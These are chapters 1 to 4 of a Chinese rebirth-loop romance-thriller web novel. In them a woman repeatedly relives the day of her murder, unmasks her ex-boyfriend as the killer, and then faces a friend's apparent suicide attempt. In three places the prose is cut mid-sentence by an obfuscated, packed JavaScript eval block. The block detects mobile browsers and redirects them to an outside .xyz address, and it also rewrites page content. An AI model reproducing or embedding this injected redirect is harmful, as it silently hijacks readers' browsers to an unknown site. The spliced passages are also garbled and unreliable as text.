《重回校草暗恋我的那些年》 1. 第二世【三修】 林舒突然惊醒,噌一下从床上坐起,第一反应是摸出枕头底下的手机: 2024年12月18日23:50。 她居然真的重生了。 上一世,2024年12月19日23:50,她好不容易完成工作,开开心心下班,结果在办公楼附近被人一刀捅死。 她再次睁开眼时,发现自己身处一座儿童公园里。 园内没有看得见的生物,但秋千在摇晃,滑滑梯在嘎吱作响,跷跷板在上下晃动,诡异得不像是活人世界。 她四处张望,看到斜对面有一间小木屋,门口竖着一块牌子:亡魂服务中心。 她几乎是在十秒内接受了自己死亡的事实。 林舒推门进去,里面有一位老婆婆,充当类似黄泉引路人的角色。老婆婆拿出一支蜡烛说,如果她这一世功德达到标准,蜡烛会自动燃起,许下的愿望会成真。 她兴高采烈地许愿下一世做富婆,结果许愿失败。 比这更让她气馁的是,她被告知将会转世投胎,成为非洲行军蚁。她最怕虫子、蚂蚁这类生物,让她下辈子做这个,实在无法接受。 丧气之时,老婆婆告诉她可以重来一次。 她以为重生是可以回到婴儿时期,再不济也是回到几个月前,有充裕的时间让她揪出凶手,避免再次死亡。 不曾想,“重来一次”指的是回到一天前,正好24小时,多一分钟都没有。 人在无语的时候真的会笑。 她干笑两声,早知道只能回到一天前,她就去做非洲行军蚁算了。 就这一天时间,她是能揪出杀她的人,还是能迅速积累大量功德许愿下辈子当富婆啊? 算了,不想了。她将手机一扔,扯着被子盖过脑袋,试图入睡。 五分钟后,哗啦一声—— 林舒掀开被子,翻身下床,拿起手机和外套,蹑手蹑脚走出家门。 12月的南苑市刮着凛冽的寒风,她出门急,只穿了一双拖鞋,裸露在外的脚趾被风刮得生疼。她只好裹紧上身的外套,加快脚步,走进一旁的便利店。 “林舒,”便利店小姐姐跟她相熟,笑着寒暄,“这个点还没睡呀?” 林舒从冰柜中取出一瓶橙子汽水,放在收银台上,笑道:“穷得睡不着。” 嘀——便利店小姐姐扫码后,将汽水递给她:“那你还让资本家赚你的钱。” “一句惊醒梦中人,”林舒接过汽水,“下次我就不来了,免得越失眠越穷,恶性循环。” 她一边扬手一边后退:“拜……诶,不好意思。” 她没留意身后有人,后退的时候不小心撞到他。 是一个穿着黑色机车服的男生,左手背上有一道疤痕蜿蜒向上延伸,整个人散发着生人勿近的气息,似乎多看他一眼就会被套上麻袋暴打。 “不好意思!”林舒提高音量,再次道歉,她可不想将死期提前一天。 “没事。”这两个字自他鼻腔中哼出,像一道免死金牌。 林舒如获特赦,朝便利店小姐姐做了个鬼脸,迅速离开便利店。 她拉开易拉罐拉环,仰头喝了一口。冰冷的液体顺着喉咙进入体内,厚实的外套也无法抵御由内而外涌出的寒意,她忍不住打了个寒颤,人也愈发清醒了些。 杀她的到底是谁?这次她该如何保命? 明天请假不上班,避开死亡时间和地点,可行吗? 不可行,最近她正在做投标工作,每天工作量很大,老板肯定不批假条。 申请居家办公,可行吗? 不可行,之前有个同事摔断腿都得拄着拐杖上班,公司压根就没有“居家办公”这一说法。 她一没欠债,二没结仇,凶手极有可能是无差别杀人。那这一世她只要避开这个死亡时间和地点,是不是就可以不用死? 思来想去,照常上班,准时下班是最好的办法了。 她喝完最后一口汽水,将易拉罐扔进家楼下的垃圾桶,转身上楼。 天色太暗,思绪杂乱,她并未察觉暗处有个身影跟着她,直到她上楼才离去。 …… 第二天,林舒顶着两个黑眼圈,左脚刚踏进公司大门,行政就叫住她:“黄总找你。” 林舒从大四实习就在互动有力传媒集团股份有限公司里工作,一晃六年过去,她也从AE实习生升到客户经理。 黄总则是区域经理黄正熙,是林舒上司的上司。最近他打算拿下日化行业TOP1公司的营销项目,时刻关注投标进度。 “行,我知道了。”虽然百般不愿,她还是硬着头皮去到黄正熙的办公室,敲了敲门,皮笑肉不笑地唤了一声:“黄总,早。” “林舒,”黄正熙说,“今天把材料都准备好,下班前交给我。” 呐呐呐,又来了,上一世他也是这么催她的。而她的直属上司温昊殷18、19日两天都是失联状态,这导致所有工作都压到她一个人身上。 她只好加班赶进度,结果在下班路上被杀害。 要真计较起来,他俩算是罪魁祸首。 想到这,她直接摆烂:“做不到。” 黄正熙抬了抬眼镜,幽深的眼神透过厚厚的镜片穿出,让人感到不寒而栗。他说:“你这是什么态度?” 死过一次,林舒也不惧怕:“黄总,这本来是我和温总监两个人的活,现在温总监失联了,总不能让我一个人干完吧?” 黄正熙:“有没有温总监,这活你都得干。” 林舒干脆利落地取下工牌,拍在办公桌上,“那我不干了。” 她这一拍,又快又狠,发出“啪”的声响,引得其他同事频频望向办公室。 林舒在众人的注视下,昂首走出办公室,回到自己的座位上,开始收拾东西。 这工打得连命都搭进去了,谁爱干谁干。 行政的工位离黄正熙的办公室最近,站在八卦最前线,全程听完他们的对话,此时屁颠屁颠跑过来,压低声问:“林舒,你要辞职啊?” “对啊。”林舒手上的动作没停。 有人将话题引出,附近的同事七嘴八舌议论起来—— “再熬一个月就发年终奖,现在走太亏了。双薪,双薪啊。” “明年过年早,再过一个月,就放假了啊。” “现在大环境不好,我们公司的福利很难得啊!你看,业务稳定,不降薪,五险一金,双休,加班可以调休。” “而且林舒,你得提前一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738876|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提离职啊,你现在提了也走不了。” 他们越说,林舒越是动摇,手上的动作渐渐慢下来。 行政察觉到她的变化,迅速从口袋掏出林舒的工牌,开始打感情牌:“林舒,不要走,我舍不得你。” 林舒斜眼看她:“工牌都拿回来了,你是间谍?” 行政:“哪有,我说的都是真心话。” “行吧行吧,”林舒接过工牌,“我再考虑一下。” 冷静下来的林舒觉得同事们说得有道理。现在提离职,相当于把活都干完了,在春节假期和发年终奖之前离职,太亏了。 但是今天不能在公司里待这么晚,该怎么办呢? 她打开微信,给黄正熙发信息:【黄总,我今天按时下班,回家加班,确保工作完成。】 黄正熙:【好的。】 完美解决! 能想到这样的解决办法,她真是顶级牛马选手。 林舒将收拾进包包里的东西重新拿出来摆放好,翻开笔记本电脑,十指在键盘上飞舞。 今天!一定要!准时下班! 终于熬到下班时刻,18:00一到,她立刻抓起包包起身,屁股刚抬起,距离椅子不到十公分,黄正熙的声音就从头顶传来。 “林舒,需要再补充一下品牌项目执行经验,半小时后要。” 林舒保持礼貌:“黄总,我现在要下班了,等我回到家就补充。” “你现在做,做完就可以回家。” “黄总……” “你有这跟我讨价还价的功夫都做好了。” “……” 是活不过今晚吗? 林舒在心里骂了一句,无奈坐下,重新打开电脑。 半小时后,她提交完善好的PPT,第二次抬起屁股准备下班。 黄正熙又发来信息:【报价单的价格修改一下。刚刚跟总部确认过,折扣调整为25%。】 林舒无可奈何,只好又坐下,继续工作。 【人员资质文件再检查一下,人员的专业和工作经历都对得上吗?】 【催一下独代协议的盖章,今天一定要盖好。】 …… 因为直属上司温昊殷的缺席,黄正熙充当了林舒的上司,却并不做上司该做的工作,只安排,不执行。 林舒做完一项任务,紧接着另一项又压下来,待她将工作完成,时钟已直指23:40。 还有十分钟,应该还来得及! 她抓起包包,飞速冲出公司按下电梯。这个时间没有人坐电梯,电梯很快就到了她所在的楼层。 从按下电梯到抵达大堂,所用时间不到两分钟。 她看了一眼上一世出事的方向,是东门外的一条小路。 这次,她选择从西门出去,走另一条路。这条路会经过其他写字楼,遇到的人多一些,也更安全一些。 她打醒十二分精神,紧绷一天的弦在此刻达到顶峰,警惕地观察四周有无可疑人士。 地面上,一个高大的影子像水一样漫上来,一点一点盖过她的影子。 待她反应过来张嘴想要呼救,却被那黑影一下子捂住口鼻,声音被硬生生封住。 她的影子完全隐没在黑夜里。 2. 第三世(一)【二修】 “婆婆晚上好,”林舒猛地推开亡魂服务中心的木门,风铃发出叮铃铃的声音,“我又死了。” 老婆婆取出纸笔:“你填下表格,我查查。” 上次已经填过这份表格,这次填起来熟练多了。无非都是姓名、性别、出生年月日、家庭住址、教育经历、工作经历之类的内容。 林舒写完,趁老婆婆转身去翻资料时,问道:“婆婆,为什么我重生是回到一天前啊?” 老婆婆:“抱歉,我不清楚。” “我这次又死了,是注定活不过12月19日吗?”她又问。 老婆婆依旧如机器人复读:“抱歉,我不清楚。” 林舒泄气:“那算了,您告诉我下辈子是什么吧。” 老婆婆取出资料,读道:“林舒,生于1997年5月20日,死于2024年12月19日。这一世,辛苦你来人间一趟了。” “不辛苦,命苦。”林舒摆摆手,“我下辈子还是非洲行军蚁吗?” 老婆婆将一支白色蜡烛放在桌面上:“按照流程,你可以先许愿。” 哦,老熟人啊,林舒记得它。上次她许愿下一世做富婆,它没燃起,接着她就被告知许愿失败。 “任何愿望都可以?” “任何愿望都可以。” “那,”林舒双手合十,“请告诉我,杀死我两次的狗东西是谁。” 蜡烛纹丝不动。 林舒不甘心,吹了一口气,又拿起蜡烛看了看,问道:“老婆婆,这蜡烛是不是坏掉了啊。” 老婆婆:“抱歉,你这一世功德没有达到标准。” “……”林舒:“算了,您直接进入下一个流程吧。” 老婆婆翻看资料:“你的下一世是非洲行军蚁。” 上次她决定重生,是因为老婆婆说她可以作为林舒重来一次,通过修正人生,积累功德提高许愿成功或转世心仪物种的概率。 谁会知道只有一天时间呢! 林舒内心抓狂,表面保持语气平和,尝试商量:“老婆婆,非洲太远了,我可以做一只国内的蚂蚁吗?或者其他动物也行,我想在国内,最好在南苑。” 老婆婆摇摇头:“没了,只有这个。” “那……”林舒问,“我是每次都能重来一次吗?” “这要看你的功德剩余量。”老婆婆回答。 她的功德既不能许愿成功,也不能决定转世的物种,那还不如利用这少得可怜的功德搏一搏,看看再活一次有没有转机。 “那我重来一次。”她确定了。 左右两边各有一扇门。老婆婆指向左边的门说道:“麻烦你从这扇门出去,迎接你的新生。” …… 林舒再次从床上醒来。 与上次重生在家里不一样,这一次,她在纯白色的被褥中醒来。 她从枕头底下摸出手机:2024年12月16日16:30。 她回到三天前。 重生时间又不一样了,这到底是按照什么逻辑? 林舒还没来得及深入思考,随着“嘀”一声房门卡响起,一个女人推门而入。 她约莫35岁,栗色法式卷发,珍珠耳钉藏在头发中若隐若现。穿一件驼色大衣,黑色长袖打底,搭配灰色裤子,整个人看起来干练有精神。 “你醒啦?”她的一双眼睛笑得弯起来,似月亮。 林舒眨了眨眼,有点不敢相信自己的眼睛。来者不是别人,正是她的直属上司温昊殷。 “殷姐!”她挪到床沿,张开双臂,“我好想你!” 温昊殷走到床边,俯身抱住她:“怎么还像个小孩似的,睡醒就要抱抱。” “殷姐,我有好多好多话想跟你说!” 林舒进公司六年,直属上司一直是温昊殷。两人一起通宵赶项目,出差将试图骚扰她们的醉汉扭送进派出所,去客户公司提案争取预算。 六年相处,对于林舒来说,她更像是老师、贵人、大姐姐一般的存在。 林舒百分百信任她,依赖她。 温昊殷拍拍她的后背,松开手:“贴己话迟点再说。刚结束年会,我们现在要准备去吃晚餐。” 对哦,她都忘记了,第一世里16-18日三天都在北辰市,18日下午五点多才回到南苑市。 吃饱饭才有力气想对策。林舒翻身下床,拿气垫随意拍了两下,补个口红就跟温昊殷出门了。 晚宴上,林舒心不在焉的。她看着温昊殷举着酒杯跟各领导们谈话、喝酒,心想,为什么她18日没跟大伙一起回南苑,为什么17日后根本联系不上她? 当晚,温昊殷对林舒说:“我在北辰有个好朋友叫我去她家过夜,所以这两晚我就不回酒店了。” 跟第一世一样。 17日全天,林舒都跟在温昊殷身后,跟领导们开年度会议。领导在上面讲话,林舒在下面用最小的手劲打最快的字,拼命赶应标材料。 会议结束后,林舒一把拉住准备离开的温昊殷,问道:“殷姐,你是打算辞职吗?” “没有,”温昊殷笑了,“为什么这么问?” 因为前两世里,17日后,她便再也联系不上温昊殷。她想知道为什么,为什么不接她电话,为什么就这么突然的消失了。 她曾想过,如果温昊殷没有在关键时刻消失,那么她不需要承担额外的工作,也就不会加班到这么晚,最终遇袭。 千言万语如鲠在喉,但此时她不知如何开口。 温昊殷见她不说话,拍拍她的肩膀:“明天见。” 林舒拉住她的手,瘪了瘪嘴:“你明天一定要联系我,不然我会生你一辈子的气。” “好,”温昊殷挥手,“一定。” 但她还是食言了。 18日,直到飞机起飞的那一刻,林舒都没能联系上温昊殷。 她再次被抛下了。 …… 回到南苑,她暂时要放下温昊殷的事情,解决眼下最迫切的问题:如何活命。 晚饭后,林舒窝在被窝里刷手机。随着死亡节点临近,她开始病急乱投医,打开某书输入关键词:【肌肉男】。 看着满屏的半裸腹肌,她删掉关键词,改为:【拳击教练】,这回变成满屏的拳馆广告。 她一路往下刷,看到一家定位在附近的拳馆,点开对话框:【您好。】 对面秒回:【小姐姐,是想咨询拳击课吗?我们正价是400元一节一对一,如果是试课的话可以先买一节体验课。】 林舒:【你们的拳击教练接外快吗?】 拳馆:【?小姐姐我不太明白你的意思。】 林舒:【就是我需要一个身体强壮的男性帮我一个忙,当然我可以付更高的价格。】 拳馆:【不好意思,我们是正规拳馆。】 林舒打字的手一顿:【不是,不是你想的那样。】 但还是迟了一步,那红色的惊叹号杜绝了她再次发消息的可能性。 想什么啊,我就是想雇个人帮我抓狗东西而已。 她正发愁,房门被敲响,是丁敏的声音:“妈妈可以进来吗?” “可以。” 丁敏推开门,顺手开灯。林舒一直处在黑暗环境里,突然接触光线,不由得眯了下眼睛。 “怎么不开灯?”丁敏将盘子放在床头,是一盘切好的橙子,其中一块橙子上插着牙签。 “忘了。”林舒探身拿起一块橙子,撒娇道:“妈咪最好了,还是回家好。” 丁敏顺着床沿坐下,嗔怪道:“知道妈妈好,怎么吃完饭就把自己关在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738877|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里?平时你出去几个小时,回来叽叽喳喳说个不停,这次出差几天,怎么反而没话说了?” 见林舒没接话,她试探性问:“不开心?” “没有,”林舒摇头,“我就是有点累。” “那妈妈给你捏捏肩。”丁敏把手搭在她肩上,“你闭上眼睛休息。” 平时林舒工作久坐后导致肩颈疼,丁敏都会给她捏肩。她的手法和力度恰到好处,能舒缓林舒一天的疲惫。 但今天,林舒始终无法放松下来。 “妈咪,”她轻声问,“如果我死了,你跟老爸会怎么样?” 肩上的动作停下,她听到丁敏问:“怎么突然说这么不吉利的话?” 林舒拍了拍她的手:“没什么,我就随便说说。” 丁敏起身坐到她面前,看着她的眼睛,满是担忧:“你有事要跟妈咪说啊,妈咪会一直陪着你的。” “没有,我真没事。”林舒说,“我就是回来的时候在飞机上看了部电影,有感而发罢了。” “真没事?”丁敏不放心,又问一遍。 “能有啥事,”林舒大大咧咧道,“你女儿身强体壮,能打赢几头牛。” 两人沉默了一会。林舒说:“水果吃完了,肩颈也不疼了,我待会刷牙就准备睡觉。” “好,你今晚早点休息。” “你也是。” 待丁敏离开房间,林舒打开电脑,继续搜索各种关键词。 【保镖服务】 【保镖公司】 【临时保镖】 …… 一个平常根本不接触这方面资讯的普通人突然要找保镖谈何容易,她浏览了几个保镖公司的网站,都没有找到合适的。 她合上电脑,打开房门,客厅一片漆黑,爸爸妈妈都睡觉了。她折回房内拿起手机和外套,出门前换了一双运动鞋。 她裹着外套推开便利店玻璃门。 “林舒,”便利店小姐姐跟她打招呼,“这个点还没睡呀?” 林舒将一瓶橙子汽水放在收银台上,笑着回答:“穷得睡不着。” 嘀——便利店小姐姐扫码后,将汽水递给她:“那你还让资本家赚你的钱。” “一句惊醒梦中人,”林舒接过汽水,“下次我就不来了,免得越失眠越穷,恶性循环。” 她说着话,自然后退,没有注意后面还站着人,后背撞上身后人结实的胸膛,令她踉跄两步。 这一撞,立刻唤醒她的记忆——上一世,她重生后心情很不好,来便利店买汽水,当时也是撞到他。 “抱歉,我又撞到你了。”她慌忙欠身,急急向旁边跨了两步,与他拉开距离。 也因为拉开了距离,她不需要过分仰视他,相较于上次匆匆一瞥,这次她认真地看了他一眼。 男生长得很高,身姿修长挺拔。穿着黑色机车服,双手环抱胸前,站姿慵懒松散。额前细碎的刘海垂在眉毛下方,微微低头时阴影笼住半张脸,看不清眼底的情绪。 自我防御姿势,面无表情,左手的疤痕,浑身上下散发着又颓又痞的气质,这是林舒上一次觉得他不好惹的原因。 这次细看,玩摩托、手有疤、冷漠脸。 这不正是保镖的最佳人选吗? 真是踏破铁鞋无觅处,得来全不费工夫。 林舒果断开口:“你能帮我一个忙吗?我会支付你酬金的。” 男生停在门外一辆酷炫的摩托旁,后背明显顿了顿,缓缓回过头。 淡淡的月光下,他的表情更是冷淡。 等,等一下,这人怎么有点眼熟? 怎么跟那个集顽劣、优异成绩和帅气于一身的高中校草长得这么像? 但此时她已顾不上其他,硬着头皮问:“陈彦森,你还记得我吗?” 3. 第三世(二) 九年未见,林舒花了点时间才把他认出来。 陈彦森是她的高一同学,也是学生时代的风云人物。听说他毕业后,学校里还流传着他的传说。 但是林舒跟他不熟,对他的印象仅在于,大家说他是冷面校草,以及,他读书时挺顽皮的。 她印象最深的一件事,是他从教学楼二楼一跃而下,在众人惊呼中毫发无损地站起身。 多亏了他,趁着晚修翻墙出去买鸡腿的她少挨了一顿骂。 在这里遇到他,她很是意外。 “陈彦森,你还记得我吗?” 陈彦森的眼睫微动,眼底似乎掠过一丝惊讶,但只是一瞬间便消失了,这让林舒怀疑自己是不是看错了。 “林舒。”他的声音里听不出任何情绪。 “太好了!你还记得我。”林舒笑容灿烂,朝他走了两步,“这摩托是你的吗?好酷啊!” 虽然她的本意是套近乎,但这也是她的心里话。 黑色车身,完美线条,如同一匹低伏的猛兽,等待主人一声令下便如离弦之箭射出,夜间宽敞的道路是它的主场,它能冲破一切桎梏。 陈彦森看了她一眼,拿起头盔戴上,语气轻描淡写:“这个点在外面,余嘉城不担心你吗?” 林舒愣了一下。重生两次,她的时间有些混乱,若不是他提起,她都快忘记这个分手一个月的前男友了。 “我们分手了。” 系扣子的手顿了顿,他的语气第一次有了情绪:“抱歉。” “没事。”林舒是真的不在乎这个前男友,她又向陈彦森走近两步:“可以带我兜兜风吗?” 一见面就叫别人帮忙,这换谁都不愿意,她得先跟他混熟一点。 陈彦森没回答,就在林舒以为他会直接开车走人的时候,一顶黑色的头盔递到她面前。 他这一递,把破冰的机会一并递过来了。 “谢谢。” 林舒连忙接过,却发现戴上头盔后视线受阻,整个人像被点了穴变得笨手笨脚,尝试了好几次都没能将扣子系好。 正当她手忙脚乱时,一双手伸过来,从她手中接过扣子。 这双手极其好看,瘦削修长,骨节分明,指甲剪得很短,显得圆润干净,看起来就很适合弹钢琴。 她抬起头,对上这双手的主人的眼睛。 只一秒,她头盔上的镜片就被盖下。 “上车。” 惜字如金的冷面帅哥。林舒心里嘟囔一句,坐上摩托。因为两人不熟,她没像电视剧那样抱住前面的人的腰,而是抓住车身两侧。 林舒:“我好了。” 话音刚落,引擎在一瞬间运作,苏醒的猛兽在便利店门口只留下一道残影。 林舒因为惯性向前贴近陈彦森的后背,她抓紧两边想要往后挪一点让两人之间空出安全距离。刚挪了一公分,就在陈彦森的再一次加速下再次与他紧贴。 算了,她放弃挣扎,摆烂了。 他们最后在江边停下。 林舒翻身下车,取下头盔,心里盘算着该说点什么跟他拉近距离,却被对方抢先一步开口了:“你找我什么事?” 林舒本想说“咱们老同学,没事就不能找你唠唠嗑吗”,但转念一想两人高中三年说的话加起来不超过十句,她甚至都没加他微信,还要一见面就找他帮忙,便硬生生将这句话咽了下去。 “是。”她承认。 陈彦森静静看着她,等着她继续说。 “我接下来说的话可能会很奇怪,我自己都觉得莫名其妙的。”她无奈地笑了,有些自嘲,“但我不知道该向谁求助。” 27岁是一个很神奇的节点,有人结婚,有人生子,有人买房,有人事业顺利成为公司骨干,有人四处旅游,也有人分手,有人被裁员,有人父母重病,有人为下一个月的房贷头疼,有人唯一的消遣是上网。 身边的人为各种各样的事情烦忧,她不忍心让深陷泥潭的人腾出手来拉自己一把。有些话,似乎对一个不熟悉的人更好开口。 “我死了,死了两次,我不知道是谁杀了我,所以我重生后无法报警,也不知该如何避开杀身之祸。” “每一次我都死在19日23:50,我不知道这是不是一个死局,我破不了。” “你明晚能不能来我公司楼下,帮我确认下凶手的特征,然后在我死前告诉我。如果我还能重生,我就有头绪了。” “如果你愿意帮我,我会支付你酬金的。” “当然,你可以拒绝我,你没有义务帮我。” 陈彦森静静听完,没有说话,也没有看她,而是静静看着地面,似乎要将地面看穿。 过了好一会儿,他才说:“你重生了,知道自己明晚会死,但不知道凶手是谁。” “对,”林舒尴尬地抿嘴,“我知道这听起来很荒谬,我自己都觉得难以置信,但……” “我相信你。” 林舒惊讶地抬起头。 陈彦森背光而站,橙黄色的路灯将他全身包裹住,也让他多了层说不清道不明的情绪。 第一次,林舒觉得这个老同学似乎不如传闻般冷漠。 “明天,我去接你下班。现在,”陈彦森拍了拍后座,“我送你回家。” “那酬金方面,这个数能接受吗?”林舒用手机计算器按了四位数,递到他面前。 他没有看数字,也没有回答问题,只是说:“上车吧。” 回到家楼下,林舒将头盔还给他,道谢后准备上楼。 “林舒,”身后人叫住她,“不要担心。” 她有些动容。除了“谢谢”,她不知道还能说什么。 …… 林舒重生两次后明白一个道理,那就是无论发生多大的事情,太阳都会照常升起,人都要正常生活。 她跟无数个平凡的早上一样,迅速洗漱后,抓起包包就出门。而丁敏也像无数次送她出门那样,站在门口朝她挥手,直到她拐弯看不见了才关门。 但今早有一个例外。 她看到楼下那辆摩托,和轻轻靠在摩托的人时,惊讶得瞌睡虫都跑掉了。 “陈彦森?” “早。”陈彦森站直身,把头盔递给她。 林舒手上是顺从地接过头盔,但脑子还没运转过来:“我不是约你今晚吗?” “我顺路来的。”陈彦森说着,跨步上了车。 “哦......”林舒戴上头盔,也跟着上车。 不得不说,上班高峰期坐摩托比公交地铁方便多了,她比平常早15分钟到公司楼下。 下车后,林舒归还头盔,刚想走,辫子却被一把拽住。这是她始料未及的,所以她的下半身向前,上半身还在原地没动,有点滑稽。 “你干嘛?”要不是有求于他,以她的性格,她真的会动手。 “我没加你微信,”陈彦森一脸无辜,“也没有手机号码。” “加加加,都加上。”林舒一顿操作,“你今晚11点半在楼下等我,找个地方藏好,我大概会死在前面那个路口。” 说完,她觉得还不够,再次叮嘱:“记得确认下凶手的特征,我会努力剩一口气等你来告诉我的。” 许是她说得太坦然了,陈彦森的脸色有点凝重。 “没事,”林舒用力拍拍他的手臂,反过来安慰他,“你干得好的话,我下辈子还找你哦。” 23:40。 林舒深吸一口气,按下电梯向下的按钮。 五分钟后,她来到楼下。 按照与陈彦森的约定,她是往第二世回家的方向走的,因为那边还有其他写字楼,能用来遮蔽的建筑物较多。 她装作无事向前走,实际上紧张得手心冒冷汗,只能紧紧抓住背包的带子。不害怕是假的,豁达也是假的,自杀的人尚且会在动手前后悔,更何况她根本不想死呢? 但此刻她别无他法,只能以自己为饵,引出凶手,争取下一次活下来。 每一步都走得艰难,她从未觉得几分钟的路程会这么远,远得似乎永远无法抵达。 这次她依旧小心谨慎,打醒十二分精神,微低头眼睛四处看,竖起耳朵听后方声音。但一切发生得太迅速了,当听到右后方传来风声时,她知道来不及了。 砰—— 哐当—— 小腹没有被刺中,身后传来倒地的声音,林舒猛然回头。 一把水果刀落在她的脚边,在距离她不到半米的距离,陈彦森将一名男子反手按倒在地。男子戴着帽子和口罩,看不清模样。 不是让他躲在暗处观察特征吗?怎么跑出来了?他不要命吗? “把刀踢开,扯下他的口罩。”陈彦森大喊。 林舒立即回过神来,把刀踢开,疾步跑到男子面前,用力扯下他的口罩。 这口罩一扯,三人都愣住了。 “是你,”林舒的声音抑制不住地发抖,“居然是你。” 她怎么都想不到,三次持刀杀她的人,竟是与她分手一个月的前男友余嘉城。 围观的人越来越多,但大家看到地面有刀不敢靠近,只远远站着。陈彦森率先反应过来,他看到林舒呆滞在原地,便向围观群众求助:“请帮忙报警!” 不知谁应了一声:“已经报警了,五分钟到!” 林舒的大脑已不会运转,她呆呆看着余嘉城,不明白在一起五年的人,为什么会对她痛下杀手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738878|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自从高一无意间听到他弹《花之舞》钢琴曲开始,她就喜欢上余嘉城。从高一到大四,她一直追随着他,直到22岁那年,她终于等到他的一句答应:“那我们试试吧。” 她是极其喜欢他的,也曾视他为相伴一生的人。也许是因为太喜欢了,她无法接受这份感情蒙尘。 一个月前,她无意间看到他跟他妈妈的聊天记录。 余嘉城妈妈:【她配不上你。】 余嘉城:【同等学历样貌家境的女孩子,没有比她更好拿捏的。】 余嘉城妈妈:【那你打算给她多少彩礼?】 余嘉城:【她说还不想结婚。】 余嘉城妈妈:【把她肚子搞大,她就只能乖乖嫁进来,到时彩礼都省下了。】 等余嘉城回来,林舒把手机递给他,屏幕显示以上对话的页面。她没有说话,转身就走。 “林舒。”余嘉城拉住她。 林舒很平静:“我们分手吧。” “林舒,对不起。”他试图挽回。 但林舒没有理会,推开门扬长离去,还未走远就将他的联系方式全部删掉。 她向来果断、敢爱敢恨,也懂得自爱而后爱人,她能够接受对方不爱了,甚至能接受对方爱上别人,但不能接受对方不尊重自己。 身边人都说,你追了他七年,在一起五年,人生中花了十二年在同一个人身上,不觉得可惜吗? “不觉得可惜,”林舒回答,“沉没成本不参与重大事件决定。” 她不觉得可惜,看到他做出如此偏激的行为后,更加确信自己的决定。 “为什么?”她只想知道答案。 余嘉城目光凶狠,被警察提起来仍倔强地回过头盯着林舒,一字一句地说:“你只能是我的。” 林舒正想说什么,忽然余光看到有金属物件闪了一下。人处在极度震惊与恐慌的时候,对外在环境的敏感度会加强,她不由自主地向闪光的方向望去。 不远处,陈彦森弯腰拉了拉卷起的左腿裤脚,露出部分是金属假肢。 他直起身后对上林舒的眼神。 从他失去左腿到装上假肢,他收到过各种眼神,好奇、惊讶、担心、关心……这是他第一次从一个人眼里看到自责。 极其强烈的愧疚像黑色的乌云压在她头顶,陈彦森眼睁睁看着她逐渐变小,矮一寸,矮两寸…… “我已经很习惯了。”陈彦森语气平和,极力与她头顶的乌云对抗,“而且,我没有受伤。” 林舒已经快被头顶的乌云压成小人国的原住居民了,喉咙哽了哽:“是怎么伤到的?” 陈彦森言简意赅:“校车着火了。” 林舒张嘴还想说什么,却被随后来到的警察叫住。警察将两人分别带上不同的警车。 做完笔录,林舒看了看时间,现在是20日00:38,这次她算活下来了吗? 陈彦森还在办手续。林舒靠在派出所门边看着他忙碌的身影,心想,待会请他吃烧烤吧,帮了大忙的朋友得好好珍惜。 正想着,手机突然亮起,是好朋友李洛诗来电。 “喂,”林舒接通电话,语气因对面是好友而变得俏皮,“这个点找我,是要请我吃夜宵吗?” “林舒,”对面的声音非常虚弱,“我,我好疼……” 握住手机的手一紧,林舒的身子僵住,抬脚往外走:“洛诗,你怎么了?你现在在哪?” 李洛诗的声音断断续续:“我……我不知道会这么疼……但幸好,马上要结束了。” “李洛诗,你别做傻事。”林舒浑身发抖,“告诉我,你是不是在家?” 李洛诗似乎轻笑一声:“早知道,今晚应该吃一顿炸鸡呢。” 林舒发疯一样大喊:“李洛诗!李洛诗!你不要睡,快跟我说话!” “你等着我,我马上到,你不准睡!” 她慌得六神无主,已不会思考,跌跌撞撞跑到马路边伸手拦车,可是出租车的车顶灯都亮着“满客”二字。 她一边喊着李洛诗的名字,一边像无头苍蝇往前走。这在外人看来她的行为是很奇怪的,但她还是不停地向前走。 嘟——嘟嘟—— 砰—— 她腾空而起,重重摔在地面上,背包里的东西散落一地。她偏过头,看到背包旁边躺着一个平安符。 好奇怪,她从来没在背包里放过平安符,背包也是今早丁敏递给她的,是谁放的? 还没来得及细想,她眼前突然一片漆黑,汽车发动机就在她的脸上,她听到车轮碾压身体发生嘎吱的声音。 “林舒!” 这是她在世界上听到的最后一个声音,撕心裂肺的声音。 4. 第四世(一) 林舒呆呆坐在亡魂服务中心里,手里捧着老婆婆给她的水杯。 她浑身发冷,身子抑制不住地在发抖,杯中的水泛起小小的波纹。 李洛诗是她的大学舍友,从18岁到27岁,她们相伴走过九年,是彼此生命中最珍视的朋友。 大四那年,李洛诗进入一家房地产公司实习,毕业后转正成为一名策划专员。后来房地产行业不景气,仿佛有一把刀悬在众人头顶,人人自危。 李洛诗怎么也没想到,那把刀砍下来的方式,竟然是让她背锅离职,没有拿到任何赔偿。 